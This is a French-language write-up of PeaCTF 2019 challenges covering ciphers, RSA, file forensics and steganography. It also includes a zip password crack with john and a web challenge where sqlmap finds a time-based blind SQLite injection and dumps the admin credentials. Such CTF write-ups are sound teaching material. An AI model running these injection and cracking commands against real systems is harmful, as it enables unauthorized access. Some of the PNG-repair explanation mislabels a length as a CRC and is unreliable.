Write Up PeaCTF 2019
Breakfast (Crypto 50 points)
Mmm I ate some nice bacon and eggs this morning. Find out what else I had foran easy flag. Don’t forget to capitalize CTF!
Une suite binaire nous est donnée, il s'agit du chiffre bilitère (chiffre bacon)
011100010000000000101001000101{00100001100011010100000000010100101010100010010001}
Un service online permet d'avoir le flag
https://www.dcode.fr/chiffre-bacon-bilitere
EGGWAFFLES
flag : peactf{EGGWAFFLES}
Broken Keyboard (Crypto 50 points)
Help! My keyboard only types numbers!
Une suite de chiffre nous est donnée, il s'agit d'ASCII
112 101 97 67 84 70 123 52 115 99 49 49 105 115 99 48 48 108 125
Pour le décoder :
#!/usr/bin/python
ascii = [112, 101, 97, 67, 84, 70, 123, 52, 115, 99, 49, 49, 105, 115, 99, 48, 48, 108, 125]
flag = []
for char in ascii:
flag.append(chr(char))
print ''.join(flag)
python asciidecode.py
peaCTF{4sc11isc00l}
flag : peaCTF{4sc11isc00l}
Worth (General skills 50 points)
This problem is worth 0o511 points. Put your answer in the flag format: flag{peactf_}
0o511 correspond à une valeur octet, en la décodant
python -c 'print(0o511)'
329
329 correspond à la valeur décimale
flag : flag{peactf_329}
Merci a Draginkilled pour son explication simple et efficace
Hide and Seek (General skills 100 points)
Try to find to the flag file located somewhere in the folders located in: /problems/hide-and-seek_23_ed9c7093107beae69840ddce8d687209
Via le webshell fournit en recherchant dans le chemin donné avec grep :
flag : flag{peactf_linux_is_fun_4c88df340d9b27e797fe4f34fc4f01be}
Mention spécial à Avik & Draginkilled pour leur autre solution: find /problems/hide-and-seek_23_ed9c7093107beae69840ddce8d687209 -name ".txt"
SCHOOL (Crypto 100 points)
My regular teacher was out sick so we had a substitute today
Le flag chiffré nous est donné avec l'alphabet, la forme du challenge et le titre font penser à de la substitution
Alphabet: WCGPSUHRAQYKFDLZOJNXMVEBTI
zswGXU{ljwdhsqmags}
En le déchiffrant avec l'alphabet donné
https://www.dcode.fr/substitution-monoalphabetique
PEACTF{ORANGEJUICE}
flag : peaCTF{ORANGEJUICE}
Choose your Pokemon (Forensic 150 points)
Just a simple type of recursive function master-ball
Un fichier "master ball" nous est donné, il s'agit d'une archive RAR
file master-ball
master-ball: RAR archive data, v5
En extrayant la data
7z e master-ball
Extracting archive: master-ball
--
Everything is Ok
Un fichier roshambo est extrait, il s'agit d'un zip, si on l'extrait à son tour
file roshambo
roshambo: Zip archive data, at least v2.0 to extract
unzip roshambo
Archive: roshambo
inflating: inDesign
file inDesign
inDesign: PDF document, version 1.7
Si on ouvre le PDF récupéré dans roshambo, le PDF nous donne un lien pastebin
https://pastebin.com/AWTDEb9j
La page contient de la data ressemblant à du XML, si on récupère la data
curl https://pastebin.com/raw/AWTDEb9j >> raw
file raw
raw: Rich Text Format data, version 1, unknown character set
il s'agit de RTF, un format annexe au format .doc (word), si on reconstruit le fichier word à partir du RTF
https://convertio.co/fr/rtf-doc/
Le word nous donne le flag
{wild_type}
flag : {wild_type}
Coffee Time (Reversing 250 points)
Run this jar executable in a virtual machine and see what happens.
Un fichier Jar nous est fournit, en analysant le code source avec Java-Decompiler nous obtenons le flag (situé à la condition de l'entrée utilisateur)
flag : peaCTF{nice_cup_of_coffee}
We are E.xtr (Forensic 350 points)
Un fichier nous est donné
file E.xtr
E.xtr: data
En effectuant un strings dessus on remarque IEND en footer de fichier (fin de fichier)
strings E.xtr
.......
;`9Lf6wIm
>?BW
[5'k
4p|7
peE4^
Ae!I
)_UX
lb7w
A!xB
IEND
La valeur IEND est généralement contenue dans les footer de fichier PNG, en regardant le code hexa du fichier, celui-ci ne dispose pas de l'en-tête PNG
hexdump -C E.xtr
00000000 89 58 54 52 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.XTR........IHDR|
00000010 00 00 05 00 00 00 02 d0 08 03 00 00 01 8f a4 1d |................|
00000020 f2 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 |.....sRGB.......|
......
https://digital-forensics.sans.org/media/hex_file_and_regex_cheat_sheet.pdf
Si on remplace le header XTR par le PNG :
hexeditor E.xtr
89 50 4E 47 à la place de 89 58 54 52
file E.xtr
E.xtr: PNG image data, 1280 x 720, 8-bit colormap, interlaced
En ouvrant le PNG
flag : {read_banned_it}
Crack The Key (Crypto 450 points)
On one of my frequent walks through the woods, I stumbled upon this old French scroll with the title "le chiffre indéchiffrable." Remember to submit as peaCTF{plaintext_key}
Nous avons un texte chiffré en vigenere
DVMDVRWOUISIERRRGNNVMWPOPGTOHSBUIHTCSSMJIVUWEXHTCTKZKFXIENWTDDOVMEOWDZRQEBQPVLFWKJBGL
EEDALGCIVLQGLTWTCMFXSIAQTLTUGZQZZWOPVGIRCSLRUZRJUZBQSXSPXGJMGTPRPUGRSIVRGUDAFXHTNLVVBMF
ZMQSFUWTWTFSWHIGXHTQLGCUSRGLEIWWXXWWCJDAIFXGAPDWGWFHTZSVOBISITRVUTTVRTWTDGMCPHGGNRDB
POIZZWZPGHTTDQPHOYIUTUEWJDCPWORWDAZREDNHYSJZRJPAFSOCPDXZVPLVPGMNIWPFWUVRDUJINIDFXLYIUTE
NWAHITVJZRJPVQEFAJEXWIMQVIYPTWGZYYYXKTNNVMQJTPVZRJHEBVDWPOKGEIUDCAHDJGTRYKLHSILXHPIZPVDE
MDZGLEEGTDWDMGSTRAHXIPFGRVKPLUEDPHEVSEKHSZREMDCELWGVHKQBYSCXRLLRRGLQFLESIZGGDQXCQPETT
XEXGKLHDBUIRPCTQSCWLIPNHBTTYEYIIHSBUETIWPCKYSXALNPLBTPXAEXKTJVKBPGYEKJSRCIFQRYDYIKNEVHISILN
DFXGWXKTENCOASXEBFVVDPRAAHPWASPWFPTYIDIWZYYYXKTVNQEJCOIJNLLRPUIHPSMIWEIAWQOMTTSHEKNMOAQ
AKDDCMISLXBLIFWOWXRLDPVHVIEHESDYXZVJDGUGLAITGIJPSQTENWQJXEIJVEGNBBPOHTLRZFYUHAYIEEXYSJUIUI
WUIAGLSELYIKPLGSSPNLXGEIHCLBJTWTMMYSEUCWAESDGESXIELHMQTLPIQSJDQDYWEAAHPWVWRHBTVFGOCRPH
GELLHJRHOUHEVSNYQSMEELPCEIJEAKXKULUCVQVGDEETIZLELPDXOVPYTGRERHDWHSEHKPLYETTAJKJFAQGIGLEG
HESMKFXIPRAAHHEMDCEPPRRWTXRWSGBMQVXVKWXISEOZWHPVQFECTGSDVRWPXCIAGPYGWZRVEQGIOUISIXRG
WIPNXHXHEYKYIVWIQREKTCFWVRFJBOIFDGPPGEKWWMBXHTGLRADEOHJRKACIZEJIMYTIAHMPZPXZVQVTTIISRDXJGI
XDQTREFITCXZVMUSQSJEGTYXXRWKXWAWFXGDXURQHIPRXHGTPHGXWEACRFEAAUIKJMHPVQTICRSIJRRGIPRRTWT
AMYJAKDARXTATOHGNRLCBUISIGLAADQHSQNXEANTRXISQIWSXHTEWELWSUBBUIHTCDTWIGKTLGLEBHPPNVWRCBU
IWXCOSOJMOAAGLEEXRIGEWIACGXEGTOYHKSWWMEEFITCWLYIVWMRTACSNSOJPDNLBANQTSMFUXKTXVKSPCOFW
XEQIWPLELISIULHWWMGAORPCXZFVVTAOSXTGLRVTPRKMEGABTTRLFKHIPRVWPAVMFXZHGGFPOLAJEFUWHIBVRGS
DHRLYILGDNWTWPTVQYSRUAJMTWVCISKGDGMYISIISIJVWKDCYHBTHZQWJQDATNRIBPWGGEGHPTRHICISIKKVDLKYS
VTGHEKRWWDCGQOIWPVDPQDGMNTPGDLGZZRJBQQHLTATJWNLRWIQREKTCUMZXHVWGLEGUTKMIIEPKXEFITCLWIJ
RJZGLFDPWFGOIULIFENTCZVEFYVQMNWTCTLVDPILVPGIECWLRVJLLVPNRDPHDXJFRJPANRYILZSJUMQPZLLOGHPWH
LXWDORXHTGLAZZXHHBEMPTSZAFYMVCWFIGPKPLADEVDURAHPIDXMGMGPXCIAGPYGWRRGXVSECIWPASJRRIWSJI
GHEVSKILCBRPLXVPRUVFXIPRAAHJYMNVVVPTYCRTHAIUKIGUWELIHHEISUMQTAFSFRWLVSTXHGIAHTGTXIFUSXHXBA
EGHZJOFVNPNGIRIWPLGIWHHKNQEBJCMWCXKTEUMTTVZELRRGQMANABXYXZVHRCSRCBTCUEEZRZPAGLEDAOIKKE
QXUNPOCISIXRVPPVQXHTLZVKKXHBXRVESWPWWCHRBBNPKTSLRVNLHCPRHISXEASJYVJIYPYIDXECVWRBMPCNXRL
PJVQDGSSSRXCDXSEGHWMJSUASDEQKLDIOBHHPSRMNVRKXUNXAXAESCVISIPRJLXTDSXWFXIBUETWTHSMCHVDWA
IRWPGIZRHQDBNMLPCORGWPLTANPOCTLQGEKWWMNRIBPWWGEXKTNNVMWTYINVVOPCTLESXQEKBIGLPLLELDFPVJ
EBIPNXHTHLAFFXKXVTXOAPFKZRXQTDRVTWTWIKJALIPBYTDEPRDPEGBQGXICVTXZVADHLRZOITOXGSSATZGLEILZSX
KLHBCFYAAAJWHVRWIPRMRHJYHSPWWDORXHTGTRLYIVBIYPPPSOSUBFHNWAHTWTZVUYEUSOEEZXCRWAUIENAVH
EPCORWMIUHXREKXCR
En bruteforçant la clef et en se basant sur la langue English
https://www.guballa.de/vigenere-solver
Clear text using key "redpineapples":
flag : peaCTF{redpineapples}
Mention spécial au temps perdu a chercher le flag dans le texte alors qu'il s'agissait de la clé ;)
RSA (Crypto 500 points)
Nous avons 2 fichiers :
cat auth_channel.txt
Authenticated (unhashed) channel:
n = 59883006898206291499785811163190956754007806709157091648869
e = 65537
c = 23731413167627600089782741107678182917228038671345300608183
cat enc_channel.txt
Encrypted channel:
n = 165481207658568424313022356820498512502867488746572300093793
e = 65537
c = 150635433712900935381157860417761227624682377134647578768653
Concernant le fichier enc_channel.txt, la première ligne indique qu'il s'agit d'un canal chiffré, nous devons donc retrouver les facteurs premiers de n (p & q), pour cela factordb.com est pratique
Une fois p & q trouvées, on calcul phi, puis d et m qui correspond au message en clair
#!/usr/bin/python
from Crypto.Util.number import inverse
#(n,e) correspond a la public key de chiffrement
#n = pq (aussi appele modulus)
n = 165481207658568424313022356820498512502867488746572300093793
#Exposant du chiffrement
e = 65537
#c correspond au message chiffre
c = 150635433712900935381157860417761227624682377134647578768653
#p et q sont les facteurs premiers de n
p = 404796306518120759733507156677
q = 408801179738927870766525808109
# phi correspond a la valeur de l'indicatrice d'Euler en n
phi = (p - 1) * (q - 1)
#d est la clef privee
d = inverse(e, phi) # Pour dechiffrer, on utilise d (inverse de modulus phi) et le message est dechiffre m = pow(c, d, n)
#Puis on decode la valeur hexa en ascii
print hex(m)[2:-1].decode('hex')
python rsa.py
peaCTF{f4ct0r
On obtient la première partie du flag, pour le fichier auth_channel.txt, la première ligne du fichier nous indique qu'il s'agit d'un canal authentifié, les valeurs ne sont donc pas hachées. Nous n'avons donc pas besoin de trouver les facteurs premiers p et q de n. Nous pouvons directement calculer m pour retrouver le message en clair.
#!/usr/bin/python
# (n,e) correspond a la public key de chiffrement
n = 59883006898206291499785811163190956754007806709157091648869
e = 65537
# C correspond au message chiffre
c = 23731413167627600089782741107678182917228038671345300608183
# m est la formule pour dechiffrer le message
m = pow(c, e, n)
#On decode la valeur hexa en ascii
print hex(m)[2:-1].decode('hex')
python rsa2.py
1ng1sfun}
On obtient la deuxième partie du flag: 1ng1sfun}
flag : peaCTF{f4ct0r1ng1sfun}
Merci à Avik pour ses explications, ses script et son writeup
The Wonderfull Wizard (Forensics 750 points)
Une image nous est donné
En l'analysant quelques informations intéréssantes tombes
stegoveritas TheWonderfulwizard.png
Running Module: SVImage
+---------------------------+------+
| Image Format | Mode |
+---------------------------+------+
| Portable network graphics | RGBA |
+---------------------------+------+
Found something worth keeping!
ISO-8859 text, with very long lines, with no line terminators
Found something worth keeping!
ISO-8859 text, with very long lines, with no line terminators
Found something worth keeping!
ISO-8859 text, with very long lines, with no line terminators
Found something worth keeping!
ISO-8859 text, with very long lines, with no line terminators
....
Une image extraite via le LSB donne une valeur hexadécimale
Si on la décode :
echo "66 6c 61 67 7b 70 65 61 63 74 66 5f 77 68 65 72 65 5f 74 68 65 5f 77 69 6e 64 5f 62 6c 6f 77 73 7d" | xxd -r -p
flag{peactf_where_the_wind_blows}
flag : flag{peactf_where_the_wind_blows}
Song of My People (Forensics 800 points)
A specific soundcloud rapper needs help getting into his password protected zipped file directory. The initial password is in the title. You just have to know your memes, and pick the right instrument! We were on the fence on giving you an image to go along with this puzzle, but the loincloth was too scandalous. Alternatively, you could bruteforce.
On commence par bruteforcer le zip
zip2john song_of_my_people.zip >> hash
john --format=zip hash --show
song_of_my_people.zip/Ice Cube - Check Yo Self Remix (Clean).mp3:violin:Ice Cube - Check Yo Self Remix (Clean).mp3:song_of_my_people.zip:song_of_my_people.zip
1 password hash cracked, 0 left
En dézippant, on obtient un PNG, un MP3 et un README.txt
file *
a lengthy issue.png: PNG image data, 1280 x 720, 8-bit colormap, interlaced
Ice Cube - Check Yo Self Remix (Clean).mp3: Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1, 192 kbps, 44.1 kHz, Stereo
README.txt: ASCII text, with CRLF line terminators
cat README.txt
one of the three files is a red herring, but a helpful one at that.
does any of this ADD up? This is a LONG problem.
L'analyse du MP3 n'a rien donné, en revanche le PNG n'est pas ouvrable suite à un problème de chunk "PLTE: chunk data is too large"
L'image PNG a été volontairement corrompu, en lisant la RFC du type de fichier PNG, il est clairement (OUPAH) expliqué l'ordre et valeur HEXA qui compose chaque Chunk, un super article détaille ici (Good JOB !)
En analysant le fichier on y constate bien l'erreur Chunk & CRC
pngchunks a\ lengthy\ issue.png
Chunk: Data Length 13 (max 2147483647), Type 1380206665 [IHDR]
Critical, public, PNG 1.2 compliant, unsafe to copy
IHDR Width: 1280
IHDR Height: 720
IHDR Bitdepth: 8
IHDR Colortype: 3
IHDR Compression: 0
IHDR Filter: 0
IHDR Interlace: 1
IHDR Compression algorithm is Deflate
IHDR Filter method is type zero (None, Sub, Up, Average, Paeth)
IHDR Interlacing method is unknown
Chunk CRC: -1885069838
Chunk: Data Length 1 (max 2147483647), Type 1111970419 [sRGB]
Ancillary, public, PNG 1.2 compliant, unsafe to copy
... Unknown chunk type
Chunk CRC: -1362223895
Chunk: Data Length 4 (max 2147483647), Type 1095582055 [gAMA]
Ancillary, public, PNG 1.2 compliant, unsafe to copy
... Unknown chunk type
Chunk CRC: 201089285
Chunk: Data Length 1212501072 (max 2147483647), Type 1163152464 [PLTE]
Critical, public, PNG 1.2 compliant, unsafe to copy
... Unknown chunk type
Erreur de segmentation
Àvec un hexdump on y retrouve le magicnumer PNG (qui indique qu'il s'agit d'un PNG) le chunk IHDR, gAMA puis le LPTE (qui pose problème)
hd a\ lengthy\ issue.png | more
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010 00 00 05 00 00 00 02 d0 08 03 00 00 01 8f a4 1d |................|
00000020 f2 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 |.....sRGB.......|
00000030 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 48 45 |..gAMA......a.HE|
00000040 4c 50 50 4c 54 45 ff ff ff f7 f7 f7 40 40 40 00 |LPPLTE......@@@.|
La valeur Hexa du chunk PLTE est égale à 50 4C 54 45, on y remarque 48 45 4C 50 (HELP) qui la précède, cela laisse à penser que l'erreur se situe ici
Via un éditeur héxa il suffit de remplacer cette valeur par le CRC correspondant, pour calculer le CRC :
Il y a 906 caractères Hexa, si on les convertis en octets et divise par 2 :
906 /2 = 453 ; 453 est divisible par 3 (comme le veut la RFC)
En convertissant la taille octal (base10) en hexadecimal (base16)
http://extraconversion.com/base-number/base-10
Nous obtenons 01C5 qui donne 00 00 01 C5 correspondant au bon CRC
Une fois modifié
L'image est désormais valide, si on l'ouvre :
En décodant l'héxa :
echo "54 68 65 20 4c 69 62 72 61 72 79 20 6f 66 20 42 61 62 65 6c 3a 0a 28 77 69 74 68 20 6e 65 77 20 61 64 64 69 74 69 6f 6e 20 6f 66 20 61 6c 6c 6c 20 74 68 65 20 70 6f 73 73 69 62 6c 65 20 64 69 73 73 20 74 72 61 63 6b 73 20 74 6f 20 65 76 65 72 20 62 65 20 6d 61 64 65 20 61 6e 64 20 65 76 65 72 20 63 6f 75 6c 64 20 62 65 20 6d 61 64 65 29" | xxd -r -p
The Library of Babel:
(with new addition of alll the possible diss tracks to ever be made and ever could be made)
Sur le lien soundcloud, une bref description donnant un indice
this concert is part of a larger tour that is archived completely in some kind of hexagonal library. The archive is named between "maybe" and a "repeat". Should be on the 371st page. I would give you an mp3 of this audio, but I don't know how to navigate those sketchy websites.
Le son de soundcloud est un message morse, en le décodant on obtient :
EUP YALL ITS YA BOI LIL ICE CUBE MELTING OUT HERE IN THE HAWAII HEAT FOR ALL OF YOU. YOU GUESSED IT THIS IS LIVE AUDIO FROM MY WORLD TOUR. I REPEAT LIL ICE CUBES WORLD TOUR MAYBE A LIBRARY WILL HELP
Les 2 indices parlent bien d'une bibliothèque, il s'agit de la bibliothèque de babel
La disposition des galeries est toujours la même: vingt étagères, cinq de chaque côté, alignées quatre des six côtés de l'hexagone… chaque étagère détient trente-deux livres de format identique; chaque livre contient quatre cent dix pages; chaque page, quarante lignes; chaque ligne, environ quatre-vingts lettres noires
Malgré des heures passés dessus, je n'ai rien trouvé (Babel = Troll ?)
Dans les nombreux indices, il est indiqué le format du flag et quelques informations sur les champs manquants
{X_thousand_spaces_N}
X = nombres de places du concerts restantes
N = Pages de l'archives de la librarie
Sur soundcloud : "Should be on the 371st page"
En testant en incrémentale le nombre de place, on trouve le flag valide
{0_thousand_spaces_371}
{1_thousand_spaces_371}
{2_thousand_spaces_371}
{3_thousand_spaces_371}
flag : {3_thousand_spaces_371}
Merci à DADMIN pour le hint final et Chunk PNG, Merci à Avik pour l'aide sur le bruteforce zip
Phillips And Over (Web 900 points)
There is a website running at http://shell1.2019.peactf.com:55534. Try to log in the "admin" account.
Dans l'URL de connexion, un lien "Forgot your password", en analysant le code source on y remarque un champs "debug" qui est caché
On y remarque une injections SQL possible avec le paramètre debug à 1 et l'envoi d'apostrophe '
Via SQLMAP on tente plusieurs type d'injection
sqlmap -u 'http://shell1.2019.peactf.com:55534/result.php' --data="username='&answer=a&debug=1"
....
[14:51:37] [INFO] testing if POST parameter 'username' is dynamic
[14:51:37] [INFO] POST parameter 'username' appears to be dynamic
[14:51:37] [INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'SQLite')
[14:51:38] [INFO] heuristic (XSS) test shows that POST parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks
POST parameter 'username' is vulnerable
sqlmap identified the following injection point(s) with a total of 716 HTTP(s) requests:
---
Parameter: username (POST)
Type: time-based blind
Title: SQLite > 2.0 OR time-based blind (heavy query)
Payload: username=' OR 2360=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- HzbV&answer=a&debug=1
---
[14:56:27] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
....
Maintenant que la SQLi a été identifiée on affiche les colones
sqlmap -u 'http://shell1.2019.peactf.com:55534/result.php' --method POST --data="username=admin&answer=admin&debug=1" --random-agent --columns
adjusting time delay to 3 seconds due to good response times
users
[15:56:27] [INFO] retrieved: CREATE TABLE users 'username text, password tex
[16:00:13] [ERROR] invalid character detected. retrying..
[16:00:13] [WARNING] increasing time delay to 4 seconds
t
[16:00:24] [ERROR] invalid character detected. retrying..
[16:00:24] [WARNING] increasing time delay to 5 seconds
, answer text)
Database: SQLite_masterdb
Table: None
[3 columns]
+----------+------+
| Column | Type |
+----------+------+
| answer | text |
| password | text |
| username | text |
+----------+------+
On dump les colonnes answer, password, username, pour récupérer les valeurs :
sqlmap -u 'http://shell1.2019.peactf.com:55534/result.php' --method POST --data="username=admin&answer=admin&debug=1" --random-agent --columns --dump
[16:04:00] [INFO] resumed: CREATE TABLE users 'username text, password text, answer text)
Database: SQLite_masterdb
Table: None
[3 columns]
+----------+------+
| Column | Type |
+----------+------+
| answer | text |
| password | text |
| username | text |
+----------+------+
[16:04:12] [INFO] retrieved:
[16:04:14] [INFO] adjusting time delay to 3 seconds due to good response times
apple
[16:04:38] [INFO] retrieved: 99232833
[16:05:18] [INFO] retrieved: admin
Database: SQLite_masterdb
Table: users
[1 entry]
+--------+----------+----------+
| answer | username | password |
+--------+----------+----------+
| apple | admin | 99232833 |
+--------+----------+----------+
En se connectant :
Flag : flag{peactf_E_>_A_778d32cbfc538c54867ef5956cbf4bf1}!
Clin d'oeil aux collègues parisien ESD
- Avik
- Draginkilled
- CallMe
- PetterMaccalower